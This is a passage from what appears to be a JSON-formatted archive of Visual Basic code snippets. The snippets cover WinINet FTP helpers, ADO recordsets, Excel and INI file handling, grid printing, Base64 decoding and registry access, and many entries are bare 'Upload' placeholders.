(INTERNET_ERROR_BASE + 164)\nConst ERROR_INTERNET_PROXY_SERVER_UNREACHABLE = (INTERNET_ERROR_BASE + 165)\nConst ERROR_INTERNET_BAD_AUTO_PROXY_SCRIPT = (INTERNET_ERROR_BASE + 166)\nConst ERROR_INTERNET_UNABLE_TO_DOWNLOAD_SCRIPT = (INTERNET_ERROR_BASE + 167)\nConst ERROR_INTERNET_SEC_INVALID_CERT = (INTERNET_ERROR_BASE + 169)\nConst ERROR_INTERNET_SEC_CERT_REVOKED = (INTERNET_ERROR_BASE + 170)\n' InternetAutodial specific errors\nConst ERROR_INTERNET_FAILED_DUETOSECURITYCHECK = (INTERNET_ERROR_BASE + 171)\nConst INTERNET_ERROR_LAST = ERROR_INTERNET_FAILED_DUETOSECURITYCHECK\n'\n' flags common to open functions (not InternetOpen()):\n'\nConst INTERNET_FLAG_RELOAD = &H80000000 ' retrieve the original item\n'\n' flags for InternetOpenUrl():\n'\nConst INTERNET_FLAG_RAW_DATA = &H40000000 ' FTP/gopher find: receive the item as raw (structured) data\nConst INTERNET_FLAG_EXISTING_CONNECT = &H20000000 ' FTP: use existing InternetConnect handle for server if possible\n'\n' flags for InternetOpen():\n'\nConst INTERNET_FLAG_ASYNC = &H10000000 ' this request is asynchronous (where supported)\n'\n' protocol-specific flags:\n'\nConst INTERNET_FLAG_PASSIVE = &H8000000 ' used for FTP connections\n'\n' additional cache flags\n'\nConst INTERNET_FLAG_NO_CACHE_WRITE = &H4000000 ' don't write this item to the cache\nConst INTERNET_FLAG_DONT_CACHE = INTERNET_FLAG_NO_CACHE_WRITE\nConst INTERNET_FLAG_MAKE_PERSISTENT = &H2000000 ' make this item persistent in cache\nConst INTERNET_FLAG_FROM_CACHE = &H1000000 ' use offline semantics\nConst INTERNET_FLAG_OFFLINE = INTERNET_FLAG_FROM_CACHE\n'\n' additional flags\n'\nConst INTERNET_FLAG_SECURE = &H800000 ' use PCT/SSL if applicable (HTTP)\nConst INTERNET_FLAG_KEEP_CONNECTION = &H400000 ' use keep-alive semantics\nConst INTERNET_FLAG_NO_AUTO_REDIRECT = &H200000 ' don't handle redirections automatically\nConst INTERNET_FLAG_READ_PREFETCH = &H100000 ' do background read prefetch\nConst INTERNET_FLAG_NO_COOKIES = &H80000 ' no automatic cookie handling\nConst INTERNET_FLAG_NO_AUTH = &H40000 ' no automatic authentication handling\nConst INTERNET_FLAG_CACHE_IF_NET_FAIL = &H10000 ' return cache file if net request fails\n'\n' Security Ignore Flags, Allow HttpOpenRequest to overide\n' Secure Channel (SSL/PCT) failures of the following types.\n'\nConst INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP = &H8000 ' ex: https:// to http://\nConst INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS = &H4000 ' ex: http:// to https://\nConst INTERNET_FLAG_IGNORE_CERT_DATE_INVALID = &H2000 ' expired X509 Cert.\nConst INTERNET_FLAG_IGNORE_CERT_CN_INVALID = &H1000 ' bad common name in X509 Cert.\n'\n' more caching flags\n'\nConst INTERNET_FLAG_RESYNCHRONIZE = &H800 ' asking wininet to update an item if it is newer\nConst INTERNET_FLAG_HYPERLINK = &H400 ' asking wininet to do hyperlinking semantic which works right for scripts\nConst INTERNET_FLAG_NO_UI = &H200 ' no cookie popup\nConst INTERNET_FLAG_PRAGMA_NOCACHE = &H100 ' asking wininet to add \"pragma: no-cache\"\nConst INTERNET_FLAG_CACHE_ASYNC = &H80 ' ok to perform lazy cache-write\nConst INTERNET_FLAG_FORMS_SUBMIT = &H40 ' this is a forms submit\nConst INTERNET_FLAG_NEED_FILE = &H10 ' need a file for this request\nConst INTERNET_FLAG_MUST_CACHE_REQUEST = INTERNET_FLAG_NEED_FILE\n'\n' flags for FTP\n'\nConst INTERNET_FLAG_TRANSFER_ASCII = &H1\nConst INTERNET_FLAG_TRANSFER_BINARY = &H2\n'\n' flags field masks\n'\nConst SECURITY_INTERNET_MASK = INTERNET_FLAG_IGNORE_CERT_CN_INVALID Or INTERNET_FLAG_IGNORE_CERT_DATE_INVALID Or INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS Or INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP\nConst INTERNET_FLAGS_MASK = INTERNET_FLAG_RELOAD Or INTERNET_FLAG_RAW_DATA Or INTERNET_FLAG_EXISTING_CONNECT Or INTERNET_FLAG_ASYNC Or INTERNET_FLAG_PASSIVE Or INTERNET_FLAG_NO_CACHE_WRITE Or INTERNET_FLAG_MAKE_PERSISTENT Or INTERNET_FLAG_FROM_CACHE Or INTERNET_FLAG_SECURE Or INTERNET_FLAG_KEEP_CONNECTION Or INTERNET_FLAG_NO_AUTO_REDIRECT Or INTERNET_FLAG_READ_PREFETCH Or INTERNET_FLAG_NO_COOKIES Or INTERNET_FLAG_NO_AUTH Or INTERNET_FLAG_CACHE_IF_NET_FAIL Or SECURITY_INTERNET_MASK Or INTERNET_FLAG_RESYNCHRONIZE Or INTERNET_FLAG_HYPERLINK Or INTERNET_FLAG_NO_UI Or INTERNET_FLAG_PRAGMA_NOCACHE Or INTERNET_FLAG_CACHE_ASYNC Or INTERNET_FLAG_FORMS_SUBMIT Or INTERNET_FLAG_NEED_FILE Or INTERNET_FLAG_TRANSFER_BINARY Or INTERNET_FLAG_TRANSFER_ASCII\nConst INTERNET_ERROR_MASK_INSERT_CDROM = &H1\nConst INTERNET_OPTIONS_MASK = (Not INTERNET_FLAGS_MASK)\n'\n' common per-API flags (new APIs)\n'\nConst WININET_API_FLAG_ASYNC = &H1 ' force async operation\nConst WININET_API_FLAG_SYNC = &H4 ' force sync operation\nConst WININET_API_FLAG_USE_CONTEXT = &H8 ' use value supplied in dwContext (even if 0)\n'\n' INTERNET_NO_CALLBACK - if this value is presented as the dwContext parameter\n' then no call-backs will be made for that API\n'\nConst INTERNET_NO_CALLBACK = 0\nPublic Type tFtpFile\n filename As String\n isDirectory As Boolean\nEnd Type\nPublic Enum eFtpTransferType\n FTP_TRANSFER_TYPE_ASCII = &H1\n FTP_TRANSFER_TYPE_BINARY = &H0\nEnd Enum\nPublic fileInfo As tFtpFile\n \nPublic Function MMgetDirectory(hostname As String, directory As String, ByRef fileInfo() As tFtpFile, ByRef fileCount As Integer, Optional searchPattern As String = \"*\", Optional username As String = \"UMMC\", Optional password As String = \"ummc\") As Boolean\nDim hInternet As Long\nDim hFTP As Long\nDim hFind As Long\nDim findfile As WIN32_FIND_DATA\nDim flags As Long\nDim content As Long\nDim Count As Integer\nDim ret As Long\nDim startingPoint As Integer\nDim startingPoint2 As Integer\nReDim fileInfo(1 To 1024)\n \n hInternet = InternetOpen(App.Title, 0, \"\", \"\", 0)\n hFTP = InternetConnect(hInternet, hostname, INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP, 0, 0)\n Call FtpSetCurrentDirectory(hFTP, directory)\n hFind = FtpFindFirstFile(hFTP, searchPattern, findfile, flags, content)\n If hFind = 0 Then\n ReDim fileInfo(0 To 0)\n MMgetDirectory = False\n fileCount = 0\n Exit Function\n End If\n \n Count = 1\n fileInfo(Count).filename = Trim(Mid(findfile.cFileName, 1, InStr(1, findfile.cFileName, Chr(0), vbTextCompare) - 1))\n If findfile.dwFileAttributes = FILE_ATTRIBUTE_DIRECTORY Then\n fileInfo(Count).isDirectory = True\n Else\n fileInfo(Count).isDirectory = False\n End If\n ret = 1\n Do While ret <> 0\n ret = InternetFindNextFile(hFind, findfile)\n If ret <> 0 Then\n Count = Count + 1\n fileInfo(Count).filename = Trim(Mid(findfile.cFileName, 1, InStr(1, findfile.cFileName, Chr(0), vbTextCompare) - 1))\n If findfile.dwFileAttributes = FILE_ATTRIBUTE_DIRECTORY Then\n fileInfo(Count).isDirectory = True\n Else\n fileInfo(Count).isDirectory = False\n End If\n End If\n Loop\n \n fileCount = Count\n Call InternetCloseHandle(hInternet)\n MMgetDirectory = True\nEnd Function\nPublic Function MMgetFtpFile(hostname As String, username As String, UserPassword As String, HostFilename As String, localFilename As String, Optional DeleteHost As Boolean = False, Optional TransferMode As eFtpTransferType = FTP_TRANSFER_TYPE_ASCII) As Long\nDim hInternet As Long\nDim hFTP As Long\nDim DeleteSuccess As Boolean\n hInternet = InternetOpen(App.Title, 0, \"\", \"\", 0)\n hFTP = InternetConnect(hInternet, hostname, INTERNET_DEFAULT_FTP_PORT, username, UserPassword, INTERNET_SERVICE_FTP, 0, 0)\n MMgetFtpFile = FtpGetFile(hFTP, HostFilename, localFilename, False, 0, INTERNET_FLAG_DONT_CACHE + TransferMode, 0)\n If DeleteHost = True Then\n DeleteSuccess = FtpDeleteFile(hFTP, HostFilename)\n End If\n Call InternetCloseHandle(hInternet)\nEnd Function\nPublic Function MMputFtpFile(hostname As String, username As String, UserPassword As String, HostFilename As String, localFilename As String, Optional TransferMode As eFtpTransferType = FTP_TRANSFER_TYPE_ASCII) As Long\nDim hInternet As Long\nDim hFTP As Long\n hInternet = InternetOpen(App.Title, 0, \"\", \"\", 0)\n hFTP = InternetConnect(hInternet, hostname, INTERNET_DEFAULT_FTP_PORT, username, UserPassword, INTERNET_SERVICE_FTP, 0, 0)\n MMputFtpFile = FtpPutFile(hFTP, localFilename, HostFilename, INTERNET_FLAG_DONT_CACHE + TransferMode, 0)\n Call InternetCloseHandle(hInternet)\nEnd Function\nPublic Function MMdeleteFtpFile(hostname As String, username As String, UserPassword As String, HostFilename As String) As Boolean\nDim hInternet As Long\nDim hFTP As Long\n hInternet = InternetOpen(App.Title, 0, \"\", \"\", 0)\n hFTP = InternetConnect(hInternet, hostname, INTERNET_DEFAULT_FTP_PORT, username, UserPassword, INTERNET_SERVICE_FTP, 0, 0)\n MMdeleteFtpFile = FtpDeleteFile(hFTP, HostFilename)\n Call InternetCloseHandle(hInternet)\nEnd Function\nPublic Function MMtouchFtpFile(hostname As String, username As String, UserPassword As String, HostFilename As String) As Boolean\nDim localFilename As String\n localFilename = \"C:\\Touchfile.txt\"\n Open localFilename For Output As #1\n Print #1, \"\"\n Close #1\n If MMPutFtpFile(hostname, username, UserPassword, HostFilename, localFilename, FTP_TRANSFER_TYPE_ASCII) = 1 Then\n MMtouchFtpFile = True\n Else\n MMtouchFtpFile = False\n End If\n Kill localFilename\nEnd Function\n"},{"WorldId":1,"id":6482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6490,"LineNumber":1,"line":"Public Sub MultipleRecordSets()\nDim AdoConn As Object\nDim AdoRs As Object\nDim I As Integer\n \nSet AdoConn = CreateObject(\"ADODB.Connection\")\nAdoConn.Open ConnectionString\n'stored procedure which returns multiple record sets\nssql = \"StoredProcedure Parameter1, Parameter2, ... \"\nSet AdoRs = AdoConn.Execute(ssql)\nDo Until AdoRs Is Nothing\n While Not AdoRs.EOF\n For I = 0 To AdoRs.Fields.Count - 1\n Debug.Print AdoRs.Fields(I)\n Next I\n AdoRs.MoveNext\n Wend\n Set AdoRs = AdoRs.NextRecordset\nLoop\nEnd Sub\n"},{"WorldId":1,"id":6491,"LineNumber":1,"line":"'by Tair Abdurman\n'visit http://www.tair.freeservers.com\n' for other examples\n'e-mail: excelz@tair.freeservers.com\nFunction CreateExcelFile() As Long\n On Error GoTo CatchErr\n \n Const LF_SYMBOL As Byte = &HA\n Const TAB_SYMBOL As Byte = &H9\n Dim szFilePath As String\n Dim szFileName As String\n Dim szDefaultBuffer As String\n Dim lFieldCount As Long\n Dim lRowCount As Long\n Dim ltempCount As Long\n Dim ltempCount2 As Long\n szFilePath = App.Path\n If Right(szFilePath, 1) <> \"\\\" Then szFilePath = szFilePath & \"\\\"\n szFileName = \"TestExcel\"\n lFieldCount = 10\n lRowCount = 10\n Open szFilePath & szFileName & \".xls\" For Append As #1\n szDefaultBuffer = \"\"\n \n 'save field names\n ltempCount = 1\n Do While ltempCount <= lFieldCount\n szDefaultBuffer = szDefaultBuffer & Chr(TAB_SYMBOL) & \"Field\" & ltempCount\n ltempCount = ltempCount + 1\n Loop\n 'can be skipped because Print put that symbol\n 'szDefaultBuffer=szDefaultBuffer & chr(LF_SYMBOL)\n Print #1, szDefaultBuffer\n 'save field values\n ltempCount = 1\n Do While ltempCount <= lRowCount\n \n szDefaultBuffer = \"\"\n \n ltempCount2 = 1\n \n Do While ltempCount2 <= lFieldCount\n szDefaultBuffer = szDefaultBuffer & Chr(TAB_SYMBOL) & \"Value\" & ltempCount & \":\" & ltempCount2\n ltempCount2 = ltempCount2 + 1\n Loop\n \n 'can be skipped because Print put that symbol\n 'szDefaultBuffer=szDefaultBuffer & chr(LF_SYMBOL)\n \n Print #1, szDefaultBuffer\n \n ltempCount = ltempCount + 1\n Loop\n Close 1\n \n CreateExcelFile = 0\n Exit Function\nCatchErr:\n CreateExcelFile = Err.Number\nEnd Function\n"},{"WorldId":1,"id":6495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6504,"LineNumber":1,"line":"Private Sub Command1_Click()\n X = PrintMSHGrid(MSHFlexGrid1)\nEnd Sub\nPublic Function PrintMSHGrid(ByVal GridToPrint As MSHFlexGrid) As Long\n'This function retrieves data from MSHFlexGrid and prints it directly to the\n'printer. It uses MyArray to store the distance between columns. The max number\n'of columns is 50, but it can be increased if there is a need.\n'Print information from mshflexgrid\n Dim MyRows, MyCols As Integer 'for-loop counters\n Dim MyText As String 'text to be printed\n Dim Titles As String 'column titles\n Dim Header As String 'page headers\n Dim MyLines As Integer 'number of lines for portrait/landscape\n Dim LLCount As Integer 'temporary line counter\n Dim MyArray(50) As Integer\n Screen.MousePointer = vbHourglass\n Titles = \"\"\n LLCount = 0\n Header = \" - Page: \" 'setup page header\n 'get column headers\n For MyCols = 0 To GridToPrint.Cols - 1\n MyArray(MyCols) = Len(GridToPrint.ColHeaderCaption(0, MyCols)) + 15\n Titles = Titles & Space(15) & GridToPrint.ColHeaderCaption(0, MyCols)\n Next MyCols\n 'setup printer\n Printer.Font.Size = 8 '8pts font size\n Printer.Font.Bold = True 'titles to be bold\n Printer.Font.Name = \"Courier New\" 'courier new font\n 'determine whether to print landscape or portrait\n If (Len(MyText) > 120) Then 'landscape\n Printer.Orientation = vbPRORLandscape\n MyLines = 60\n Else 'portrait\n Printer.Orientation = vbPRORPortrait\n MyLines = 85\n End If\n Printer.Print Header; Printer.Page\n Printer.Print Titles\n Printer.Font.Bold = False\n 'get column/row values\n For MyRows = 1 To GridToPrint.Rows - 1\n MyText = \"\"\n GridToPrint.Row = MyRows\n For MyCols = 0 To GridToPrint.Cols - 1\n GridToPrint.Col = MyCols\n MyText = MyText & GridToPrint.Text & Space(MyArray(MyCols) - Len(GridToPrint.Text))\n Next MyCols\n LLCount = LLCount + 1\n If LLCount <= MyLines Then\n Printer.Print MyText\n Else\n Printer.NewPage\n Printer.Print Header; Printer.Page\n Printer.Print Titles\n Printer.Print MyText\n LLCount = 0\n End If\n Next MyRows\n Printer.EndDoc\n Screen.MousePointer = vbNormal\nEnd Function\n"},{"WorldId":1,"id":6506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6523,"LineNumber":1,"line":"Option Explicit\nPrivate Sub btnConvert_Click()\n Text2.Text = toCapitals(Text1.Text)\nEnd Sub\nPrivate Sub Form_Load()\nText1 = \"the cat in the hat works in the c.i.a.\"\nText2 = \"\"\nEnd Sub\nFunction toCapitals(strLowerCase)\n Dim ii, jj\n \n '--- determine how long the string to be converted is\n ii = Len(strLowerCase)\n \n '--- first letter of string will always be capitalised\n toCapitals = UCase(Mid(strLowerCase, 1, 1))\n \n '--- Check the rest of the unconverted string\n '--- We capitalise the next letter whenever we find a space or a break\n For jj = 1 To ii - 1\n If Mid(strLowerCase, jj, 1) = \" \" Or Mid(strLowerCase, jj, 1) = \".\" Then\n toCapitals = toCapitals & UCase(Mid(strLowerCase, jj + 1, 1))\n Else\n toCapitals = toCapitals & Mid(strLowerCase, jj + 1, 1)\n End If\n Next\nEnd Function\n"},{"WorldId":1,"id":6534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6562,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6563,"LineNumber":1,"line":"' Paste this code directly into your IDE. This has not yet been tested on VBScript, but should work if you drop the type declarations.\n\nFunction RoundNum(Number As Double) As Integer\nIf Int(Number + 0.5) > Int(Number) Then\n RoundNum = Int(Number) + 1\nElse\n RoundNum = Int(Number)\nEnd If\n\nEnd Function\n"},{"WorldId":1,"id":6564,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6574,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6587,"LineNumber":1,"line":"Public m_MstrConfigName As String\nDim m_strKeyname As String\nDim m_strsection As String\nDim m_strKeyValue As String\nDim m_strdefault As String\nPrivate Sub Class_Initialize()\nm_MstrConfigName = App.Path & \"\\ Your Ini file name\"\nEnd Sub\n\nPublic Property Get KeyName() As String\nEnd Property\nPublic Property Let KeyName(ByVal strNewValue As String)\nEnd Property\nPublic Function KeyGet(Optional strSection As String = \"N/A\", Optional strKeyName = \"N/A\", Optional strdefault As String = \"\")\nDim lngRet As Long\n'fill in section\nIf strSection <> \"N/A\" Then\n m_strsection = strSection\nEnd If\nIf strKeyName <> \"N/A\" Then\n m_strKeyname = strKeyName\nEnd If\nm_strdefault = strdefault\n'get value\nm_strKeyValue = Space(255)\nlngRet = GetPrivateProfileString(m_strsection, _\n m_strKeyname, _\n m_strdefault, _\n m_strKeyValue, _\n Len(m_strKeyValue), _\n m_MstrConfigName)\n \nIf lngRet > 0 Then\n m_strKeyValue = Left$(m_strKeyValue, lngRet)\n Else\n m_strKeyValue = vbNullString\nEnd If\n KeyGet = m_strKeyValue\n \nEnd Function\nPublic Sub Keysave(Optional strSection As String = \"N/A\", Optional strKeyName = \"N/A\", Optional strdefault As String = \"\")\nDim lngRet As Long\n'fill in properties\nIf strSection <> \"N/A\" Then\n m_strsection = strSection\nEnd If\nIf strKeyName <> \"N/A\" Then\n m_strKeyname = strKeyName\nEnd If\n\n'get value\nm_strKeyValue = Space(255)\nlngRet = WritePrivateProfileString(m_strsection, _\n m_strKeyname, _\n m_strKeyValue, _\n m_MstrConfigName)\n \nEnd Sub\nPublic Function SectionGet(Optional strSection As String = \"\") As Variant\nDim lngRet As Long\nDim strBuffer As String\nIf Not strSection = vbNullString Then\n m_strsection = strSection\n End If\n \nIf Not m_strsection = vbNullString Then\n strBuffer = Space(2048)\n \n lngRet = GetPrivateProfileSection(m_strsection, _\n strBuffer, _\n Len(strBuffer), _\n m_MstrConfigName)\n End If\nIf lngRet > 0 Then\n strBuffer = Left$(strBuffer, lngRet)\n SectionGet = Split(strBuffer, Chr$(0))\n Else\n SectionGet = Array()\nEnd If\nEnd Function\n"},{"WorldId":1,"id":6592,"LineNumber":1,"line":"'(C) 2000 by Tair Abdurman\n'WWW: www.tair.freeservers.com\n'e-mail: broadcast_line@usa.net\n'this version to decode Outlook encrypted\n'attachments\n'Base64 decode routines\n' based on RFC 1421\n'----------------------------------------------------------------------------------------------------\n' Quantum of decoded content\n'----------------------------------------------------------------------------------------------------\n' 3 2 1 0\n' 00XXXXXX 00XXXXXX 00XXXXXX 00XXXXXX\n' | | | | | | | | | | | |\n' A1 A2 B1 B2 C1 C2\n'----------------------------------------------------------------------------------------------------\n' Bit positions:\n'----------------------------------------------------------------------------------------------------\n' AND SHIFT RIGHT SHIFT LEFT BYTE NUMB\n' A1 3FH 01H 08H 3\n' A2 30H 10H 01H 2\n'\n' B1 0FH 01H 10H 2\n' B2 3CH 08H 01H 1\n'\n' C1 03H 01H 40H 1\n' C2 3FH 01H 01H 0\n'----------------------------------------------------------------------------------------------------\n' Decoded Triple\n' DA DB DC\n' XXXXXXXX XXXXXXXX XXXXXXXX\n'----------------------------------------------------------------------------------------------------\n' VB Formula:\n' Ydecoded(DZ)=(Xencoded(Z1bytenum) AND Z1and)*Z1shiftright +\n' (Xencoded(Z2bytenum) AND Z2and)/Z2shiftleft\n'----------------------------------------------------------------------------------------------------\nOption Explicit\nPrivate Type b64encoded\n Byte1 As Byte\n Byte2 As Byte\n Byte3 As Byte\n Byte4 As Byte\nEnd Type\nPrivate Type b64decoded\n Byte1 As Byte\n Byte2 As Byte\n Byte3 As Byte\nEnd Type\nPrivate Type codecodeBytes\n Byte1 As Byte\n Byte2 As Byte\n Byte3 As Byte\n Byte4 As Byte\nEnd Type\nDim keyByteA As codecodeBytes\nDim keyByteB As codecodeBytes\nDim keyByteC As codecodeBytes\nPrivate Sub InitDecodeEncodeMachine()\n \n'-------------------------------\nkeyByteA.Byte1 = &H3F\nkeyByteA.Byte2 = &H4\nkeyByteA.Byte3 = &H30\nkeyByteA.Byte4 = &H10\n'-------------------------------\n'-------------------------------\nkeyByteB.Byte1 = &HF\nkeyByteB.Byte2 = &H10\nkeyByteB.Byte3 = &H3C\nkeyByteB.Byte4 = &H4\n'-------------------------------\n'-------------------------------\nkeyByteC.Byte1 = &H3\nkeyByteC.Byte2 = &H40\nkeyByteC.Byte3 = &H3F\nkeyByteC.Byte4 = &H1\n'-------------------------------\nEnd Sub\n'Decode source file encoded by base64 into destination\nPublic Sub DecodeFile(ByVal srcFile As String, ByVal dstFile As String)\n Dim tempBuffer As String * 78\n Dim tempBufferNC As String * 74\n Dim tempEncoded As b64encoded\n Dim tempDecoded As b64decoded\n Dim bResult As Byte\n Dim iCntr As Long\n Dim btResult As Byte\n \n \n Call InitDecodeEncodeMachine\nbtResult = 0\niCntr = 0\n \n \n Open srcFile For Random As #1 Len = 78\n Open dstFile For Random As #2 Len = 1\n \n Do While Not (EOF(1))\n Get #1, , tempBuffer\n \n iCntr = 0\n Do While iCntr < Len(tempBuffer)\n \n If Mid(tempBuffer, (iCntr + 1), 2) = vbCrLf Then Exit Do\n \n tempEncoded.Byte1 = DeMapCode(Mid(tempBuffer, (iCntr + 1), 1))\n tempEncoded.Byte2 = DeMapCode(Mid(tempBuffer, (iCntr + 2), 1))\n tempEncoded.Byte3 = DeMapCode(Mid(tempBuffer, (iCntr + 3), 1))\n tempEncoded.Byte4 = DeMapCode(Mid(tempBuffer, (iCntr + 4), 1))\n \n \n bResult = 0\n bResult = Base64Decode(tempEncoded, tempDecoded)\n \n Select Case bResult\n \n Case 1\n Put #2, , tempDecoded.Byte1\n Case 2\n Put #2, , tempDecoded.Byte1\n Put #2, , tempDecoded.Byte2\n Case 3\n Put #2, , tempDecoded.Byte1\n Put #2, , tempDecoded.Byte2\n Put #2, , tempDecoded.Byte3\n End Select\n \n \n 'EOF encoded part\n If (bResult = 0) Then Exit Do\n \n 'FOUR bytes as step\n iCntr = iCntr + 4\n \n Loop\n 'if end of encoded text\n If (bResult = 0) Then Exit Do\n Loop\n \n Close #2\n Close #1\nEnd Sub\n\nPrivate Function Base64Decode(srcBase64Encoded As b64encoded, dstBase64Decoded As b64decoded) As Byte\n'return amoun of decoded bytes\nIf (srcBase64Encoded.Byte1 > 64) Then\n Base64Decode = 0\n Exit Function\nEnd If\nIf ((srcBase64Encoded.Byte3 = 64) And (srcBase64Encoded.Byte4 = 64)) Then\n dstBase64Decoded.Byte1 = (srcBase64Encoded.Byte1 And keyByteA.Byte1) * keyByteA.Byte2 + _\n (srcBase64Encoded.Byte2 And keyByteA.Byte3) / keyByteA.Byte4\n dstBase64Decoded.Byte2 = 0\n dstBase64Decoded.Byte3 = 0\n Base64Decode = 1\n Exit Function\nEnd If\nIf (srcBase64Encoded.Byte4 = 64) Then\n dstBase64Decoded.Byte1 = (srcBase64Encoded.Byte1 And keyByteA.Byte1) * keyByteA.Byte2 + _\n (srcBase64Encoded.Byte2 And keyByteA.Byte3) / keyByteA.Byte4\n dstBase64Decoded.Byte2 = (srcBase64Encoded.Byte2 And keyByteB.Byte1) * keyByteB.Byte2 + _\n (srcBase64Encoded.Byte3 And keyByteB.Byte3) / keyByteB.Byte4\n dstBase64Decoded.Byte3 = 0\n Base64Decode = 2\n Exit Function\nEnd If\ndstBase64Decoded.Byte1 = (srcBase64Encoded.Byte1 And keyByteA.Byte1) * keyByteA.Byte2 + _\n (srcBase64Encoded.Byte2 And keyByteA.Byte3) / keyByteA.Byte4\ndstBase64Decoded.Byte2 = (srcBase64Encoded.Byte2 And keyByteB.Byte1) * keyByteB.Byte2 + _\n (srcBase64Encoded.Byte3 And keyByteB.Byte3) / keyByteB.Byte4\ndstBase64Decoded.Byte3 = (srcBase64Encoded.Byte3 And keyByteC.Byte1) * keyByteC.Byte2 + _\n (srcBase64Encoded.Byte4 And keyByteC.Byte3) / keyByteC.Byte4\nBase64Decode = 3\n \nEnd Function\nPrivate Function DeMapCode(srcChar As String) As Byte\n If Len(srcChar) <> 1 Then\n DeMapCode = 0\n Exit Function\n End If\n \n Select Case srcChar\n Case \"A\" To \"Z\"\n DeMapCode = Asc(srcChar) - 65\n Case \"a\" To \"z\"\n DeMapCode = Asc(srcChar) - 97 + 26\n Case \"0\" To \"9\"\n DeMapCode = Asc(srcChar) - 48 + 52\n Case \"+\"\n DeMapCode = 62\n Case \"/\"\n DeMapCode = 63\n Case \"=\"\n DeMapCode = 64\n Case Else\n DeMapCode = 65\n End Select\nEnd Function\n\n"},{"WorldId":1,"id":6598,"LineNumber":1,"line":"Private Sub text1_OLEDragDrop(Data As DataObject, Effect As Long _\n, Button As Integer, Shift As Integer, X As Single, Y As Single)\n' Prepare a variable (numfiles) and pass the number of files\n' dropped onto text1 to this variable\nDim numFiles As Integer\n numFiles = Data.Files.Count\n' an example how to trap 1 file (can be modified to trap as many\n' or as little amount by changing the > 1 to > {new value}) then\n' display a message box telling user the maximum allowed file drops)\n' then exit the sub\nIf numFiles > 1 Then \n\tMsgBox \"Only allows 1 file at a time in beta version! Sorry!\"_\n\t,vbOKOnly, \"Ooops beta version\"\n\tExit Sub\nend if\n' check the attributes of the file being dropped and see if it is a\n' directory, if it is then warn user that only files are valid to drop\n' and exit the sub\nIf (GetAttr(Data.Files(1))) = vbDirectory Then\n MsgBox \"Sorry this beta version only allows files not directories to be installed\"\n Exit Sub\nEnd If\n' check the file is the correct file type (using its extension)\n' if not then warn user and exit the sub\nIf LCase(Right(Data.Files(1), 3)) <> LCase(\"bsp\") Then\n MsgBox \"This file is not a quake 2 map (*.bsp)\"\n Exit Sub\nEnd If\n' tell user the drag and drop was succesful\nMsgBox Data.Files(1) + \" installed\"\n' code here to install file\n' or do what ever you need\n' data.files(1) is a string holding the path and filename of the dropped file\n' using a for..next loop you can control multiple files dropped at once\n' replacing the 1 with the for..next variable and using numfiles to find out\n' the maximum for..next value\nEnd Sub"},{"WorldId":1,"id":6600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6608,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6613,"LineNumber":1,"line":"'\n'\n'PUT THIS IN A .BAS!!!\n'\n'PUT THIS IN A .BAS!!!\n'\n' Easiest Read/Write to Registry\n' Kevin Mackey\n' LimpiBizkit@aol.com\n'\nPublic Const HKEY_CLASSES_ROOT = &H80000000\nPublic Const HKEY_CURRENT_USER = &H80000001\nPublic Const HKEY_LOCAL_MACHINE = &H80000002\nPublic Const HKEY_USERS = &H80000003\nPublic Const HKEY_PERFORMANCE_DATA = &H80000004\nPublic Const ERROR_SUCCESS = 0&\nDeclare Function RegCloseKey Lib \"advapi32.dll\" (ByVal Hkey As Long) As Long\nDeclare Function RegCreateKey Lib \"advapi32.dll\" Alias \"RegCreateKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\nDeclare Function RegDeleteKey Lib \"advapi32.dll\" Alias \"RegDeleteKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long\nDeclare Function RegDeleteValue Lib \"advapi32.dll\" Alias \"RegDeleteValueA\" (ByVal Hkey As Long, ByVal lpValueName As String) As Long\nDeclare Function RegOpenKey Lib \"advapi32.dll\" Alias \"RegOpenKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\nDeclare Function RegQueryValueEx Lib \"advapi32.dll\" Alias \"RegQueryValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long\nDeclare Function RegSetValueEx Lib \"advapi32.dll\" Alias \"RegSetValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long\nPublic Const REG_SZ = 1 ' Unicode nul terminated string\nPublic Const REG_DWORD = 4 ' 32-bit number\nPublic Sub savekey(Hkey As Long, strPath As String)\nDim keyhand&\nr = RegCreateKey(Hkey, strPath, keyhand&)\nr = RegCloseKey(keyhand&)\nEnd Sub\nPublic Function getstring(Hkey As Long, strPath As String, strValue As String)\n'EXAMPLE:\n'\n'text1.text = getstring(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"String\")\n'\nDim keyhand As Long\nDim datatype As Long\nDim lResult As Long\nDim strBuf As String\nDim lDataBufSize As Long\nDim intZeroPos As Integer\nr = RegOpenKey(Hkey, strPath, keyhand)\nlResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 